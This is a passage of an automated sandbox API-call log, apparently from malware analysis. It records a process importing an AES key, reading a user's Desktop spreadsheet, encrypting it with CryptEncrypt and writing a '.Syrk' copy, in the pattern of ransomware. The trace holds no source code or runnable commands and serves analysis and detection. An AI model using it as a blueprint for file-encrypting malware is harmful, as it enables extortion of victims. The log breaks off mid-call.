(param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0184.924] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0184.924] SystemFunction041 (in: Memory=0x3c0a94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0a94) returned 0x0 [0184.925] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0184.925] SystemFunction040 (in: Memory=0x3c0a94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0a94) returned 0x0 [0184.925] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0184.925] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0184.925] SystemFunction041 (in: Memory=0x3c0a94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0a94) returned 0x0 [0184.925] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0184.925] SystemFunction040 (in: Memory=0x3c0a94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0a94) returned 0x0 [0184.925] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0184.925] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0184.925] SystemFunction041 (in: Memory=0x3c0a94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0a94) returned 0x0 [0184.925] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0184.925] SystemFunction040 (in: Memory=0x3c0a94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0a94) returned 0x0 [0184.926] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0184.926] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0184.926] SystemFunction041 (in: Memory=0x3c0a94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0a94) returned 0x0 [0184.926] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0184.926] SystemFunction040 (in: Memory=0x3c0a94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0a94) returned 0x0 [0184.926] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0184.926] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0184.926] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0184.926] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0184.926] SystemFunction041 (in: Memory=0x3da2c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da2c4) returned 0x0 [0184.927] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0184.927] SystemFunction040 (in: Memory=0x3da2c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da2c4) returned 0x0 [0184.927] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0184.927] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0184.927] SystemFunction041 (in: Memory=0x3da2c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da2c4) returned 0x0 [0184.927] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0184.927] SystemFunction040 (in: Memory=0x3da2c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da2c4) returned 0x0 [0184.927] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0184.927] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0184.927] SystemFunction041 (in: Memory=0x3da2c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da2c4) returned 0x0 [0184.928] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0184.928] SystemFunction040 (in: Memory=0x3da2c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da2c4) returned 0x0 [0184.928] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0184.928] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0184.928] SystemFunction041 (in: Memory=0x3da2c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da2c4) returned 0x0 [0184.928] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0184.928] SystemFunction040 (in: Memory=0x3da2c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da2c4) returned 0x0 [0184.928] EtwEventActivityIdControl () returned 0x0 [0184.928] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0184.929] SystemFunction041 (in: Memory=0x3da2c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da2c4) returned 0x0 [0184.929] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0184.929] SystemFunction040 (in: Memory=0x3da2c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da2c4) returned 0x0 [0184.931] CryptAcquireContextW (in: phProv=0x5a2e660, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e660*=0x373700) returned 1 [0185.037] CryptImportKey (in: hProv=0x373700, pbData=0x25f9ecc*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2e9cc | out: phKey=0x5a2e9cc*=0x5c69180) returned 1 [0185.037] CryptContextAddRef (hProv=0x373700, pdwReserved=0x0, dwFlags=0x0) returned 1 [0185.039] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e7c0, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0185.040] EtwEventActivityIdControl () returned 0x0 [0185.040] EtwEventActivityIdControl () returned 0x0 [0185.040] EtwEventActivityIdControl () returned 0x0 [0185.189] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU\\Eq95Xs_2BMkWBb6.xls" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\hftktiwcu\\eq95xs_2bmkwbb6.xls")) returned 0x20 [0185.191] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU\\Eq95Xs_2BMkWBb6.xls" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\hftktiwcu\\eq95xs_2bmkwbb6.xls")) returned 0x20 [0185.191] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU\\Eq95Xs_2BMkWBb6.xls", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x47 [0185.191] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU\\Eq95Xs_2BMkWBb6.xls", nBufferLength=0x47, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU\\Eq95Xs_2BMkWBb6.xls", lpFilePart=0x0) returned 0x46 [0185.192] EtwEventActivityIdControl () returned 0x0 [0185.194] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0185.194] EtwEventActivityIdControl () returned 0x0 [0185.194] EtwEventActivityIdControl () returned 0x0 [0185.194] EtwEventActivityIdControl () returned 0x0 [0185.293] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU\\Eq95Xs_2BMkWBb6.xls", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x47 [0185.294] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU\\Eq95Xs_2BMkWBb6.xls", nBufferLength=0x47, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU\\Eq95Xs_2BMkWBb6.xls", lpFilePart=0x0) returned 0x46 [0185.294] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e240) returned 1 [0185.294] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU\\Eq95Xs_2BMkWBb6.xls" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\hftktiwcu\\eq95xs_2bmkwbb6.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x45c [0185.294] GetFileType (hFile=0x45c) returned 0x1 [0185.294] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e23c) returned 1 [0185.294] GetFileType (hFile=0x45c) returned 0x1 [0185.294] EtwEventActivityIdControl () returned 0x0 [0185.295] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0185.296] EtwEventActivityIdControl () returned 0x0 [0185.296] EtwEventActivityIdControl () returned 0x0 [0185.296] EtwEventActivityIdControl () returned 0x0 [0185.297] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU\\Eq95Xs_2BMkWBb6.xls.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4c [0185.297] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU\\Eq95Xs_2BMkWBb6.xls.Syrk", nBufferLength=0x4c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU\\Eq95Xs_2BMkWBb6.xls.Syrk", lpFilePart=0x0) returned 0x4b [0185.297] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e240) returned 1 [0185.297] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU\\Eq95Xs_2BMkWBb6.xls.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\hftktiwcu\\eq95xs_2bmkwbb6.xls.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3ac [0185.299] GetFileType (hFile=0x3ac) returned 0x1 [0185.299] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e23c) returned 1 [0185.299] GetFileType (hFile=0x3ac) returned 0x1 [0185.299] EtwEventActivityIdControl () returned 0x0 [0185.299] CryptGenRandom (in: hProv=0x373700, dwLen=0x10, pbBuffer=0x260d304 | out: pbBuffer=0x260d304) returned 1 [0185.301] CryptContextAddRef (hProv=0x373700, pdwReserved=0x0, dwFlags=0x0) returned 1 [0185.301] CryptDuplicateKey (in: hKey=0x5c69180, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2ea08 | out: phKey=0x5a2ea08*=0x5c690c0) returned 1 [0185.301] CryptContextAddRef (hProv=0x373700, pdwReserved=0x0, dwFlags=0x0) returned 1 [0185.301] CryptSetKeyParam (hKey=0x5c690c0, dwParam=0x4, pbData=0x260e714*=0x1, dwFlags=0x0) returned 1 [0185.301] CryptSetKeyParam (hKey=0x5c690c0, dwParam=0x1, pbData=0x260e6e0, dwFlags=0x0) returned 1 [0185.302] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0185.303] EtwEventActivityIdControl () returned 0x0 [0185.303] EtwEventActivityIdControl () returned 0x0 [0185.303] EtwEventActivityIdControl () returned 0x0 [0185.304] EtwEventActivityIdControl () returned 0x0 [0185.305] ReadFile (in: hFile=0x45c, lpBuffer=0x261137c, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2ea0c, lpOverlapped=0x0 | out: lpBuffer=0x261137c*, lpNumberOfBytesRead=0x5a2ea0c*=0xe040, lpOverlapped=0x0) returned 1 [0185.308] CryptEncrypt (in: hKey=0x5c690c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2625394*, pdwDataLen=0x5a2ea00*=0xe040, dwBufLen=0xe040 | out: pbData=0x2625394*, pdwDataLen=0x5a2ea00*=0xe040) returned 1 [0185.309] WriteFile (in: hFile=0x3ac, lpBuffer=0x260d434*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e9e4, lpOverlapped=0x0 | out: lpBuffer=0x260d434*, lpNumberOfBytesWritten=0x5a2e9e4*=0x1000, lpOverlapped=0x0) returned 1 [0185.310] WriteFile (in: hFile=0x3ac, lpBuffer=0x2626380*, nNumberOfBytesToWrite=0xd054, lpNumberOfBytesWritten=0x5a2e9e4, lpOverlapped=0x0 | out: lpBuffer=0x2626380*, lpNumberOfBytesWritten=0x5a2e9e4*=0xd054, lpOverlapped=0x0) returned 1 [0185.312] ReadFile (in: hFile=0x45c, lpBuffer=0x261137c, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2ea0c, lpOverlapped=0x0 | out: lpBuffer=0x261137c*, lpNumberOfBytesRead=0x5a2ea0c*=0x0, lpOverlapped=0x0) returned 1 [0185.312] CryptEncrypt (in: hKey=0x5c690c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2633428*, pdwDataLen=0x5a2ea60*=0x10, dwBufLen=0x10 | out: pbData=0x2633428*, pdwDataLen=0x5a2ea60*=0x10) returned 1 [0185.312] CryptEncrypt (in: hKey=0x5c690c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2633444*, pdwDataLen=0x5a2ea68*=0x0, dwBufLen=0x10 | out: pbData=0x2633444*, pdwDataLen=0x5a2ea68*=0x10) returned 1 [0185.313] WriteFile (in: hFile=0x3ac, lpBuffer=0x260d434*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2ea38, lpOverlapped=0x0 | out: lpBuffer=0x260d434*, lpNumberOfBytesWritten=0x5a2ea38*=0x10, lpOverlapped=0x0) returned 1 [0185.313] CloseHandle (hObject=0x3ac) returned 1 [0185.315] CloseHandle (hObject=0x45c) returned 1 [0185.316] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0185.316] EtwEventActivityIdControl () returned 0x0 [0185.316] EtwEventActivityIdControl () returned 0x0 [0185.316] EtwEventActivityIdControl () returned 0x0 [0185.323] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU\\Eq95Xs_2BMkWBb6.xls" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\hftktiwcu\\eq95xs_2bmkwbb6.xls")) returned 0x20 [0185.326] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU\\Eq95Xs_2BMkWBb6.xls", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x47 [0185.326] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU\\Eq95Xs_2BMkWBb6.xls", nBufferLength=0x47, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU\\Eq95Xs_2BMkWBb6.xls", lpFilePart=0x0) returned 0x46 [0185.326] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0185.326] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0185.327] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0185.327] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0185.327] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0185.327] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0185.327] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0185.327] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0185.327] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0185.327] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0185.327] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0185.327] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0185.328] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop" (normalized: "c:\\users\\keecfmwgj\\desktop")) returned 0x11 [0185.328] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop" (normalized: "c:\\users\\keecfmwgj\\desktop")) returned 0x11 [0185.328] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1b [0185.328] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop", nBufferLength=0x1b, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop", lpFilePart=0x0) returned 0x1a [0185.328] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d")) returned 0x10 [0185.328] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d")) returned 0x10 [0185.328] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x29 [0185.328] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d", nBufferLength=0x29, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d", lpFilePart=0x0) returned 0x28 [0185.329] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\hftktiwcu")) returned 0x10 [0185.329] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\hftktiwcu")) returned 0x10 [0185.329] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x33 [0185.329] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU", nBufferLength=0x33, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU", lpFilePart=0x0) returned 0x32 [0185.329] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU\\Eq95Xs_2BMkWBb6.xls" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\hftktiwcu\\eq95xs_2bmkwbb6.xls")) returned 0x20 [0185.329] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU\\Eq95Xs_2BMkWBb6.xls", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x47 [0185.329] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU\\Eq95Xs_2BMkWBb6.xls", nBufferLength=0x47, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU\\Eq95Xs_2BMkWBb6.xls", lpFilePart=0x0) returned 0x46 [0185.332] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU\\Eq95Xs_2BMkWBb6.xls", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x47 [0185.333] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU\\Eq95Xs_2BMkWBb6.xls", nBufferLength=0x47, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU\\Eq95Xs_2BMkWBb6.xls", lpFilePart=0x0) returned 0x46 [0185.333] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e73c) returned 1 [0185.333] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU\\Eq95Xs_2BMkWBb6.xls", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x47 [0185.333] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU\\Eq95Xs_2BMkWBb6.xls", nBufferLength=0x47, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU\\Eq95Xs_2BMkWBb6.xls", lpFilePart=0x0) returned 0x46 [0185.333] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU\\Eq95Xs_2BMkWBb6.xls\\*" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\hftktiwcu\\eq95xs_2bmkwbb6.xls\\*"), lpFindFileData=0x5a2e4ec | out: lpFindFileData=0x5a2e4ec*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0185.334] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e4ac) returned 1 [0185.334] CoTaskMemAlloc (cb=0x404) returned 0x5c632d0 [0185.334] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x5c632d0, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0185.334] CoTaskMemFree (pv=0x5c632d0) [0185.337] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU\\Eq95Xs_2BMkWBb6.xls" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\hftktiwcu\\eq95xs_2bmkwbb6.xls")) returned 0x20 [0185.337] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU\\Eq95Xs_2BMkWBb6.xls", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x47 [0185.337] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU\\Eq95Xs_2BMkWBb6.xls", nBufferLength=0x47, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: 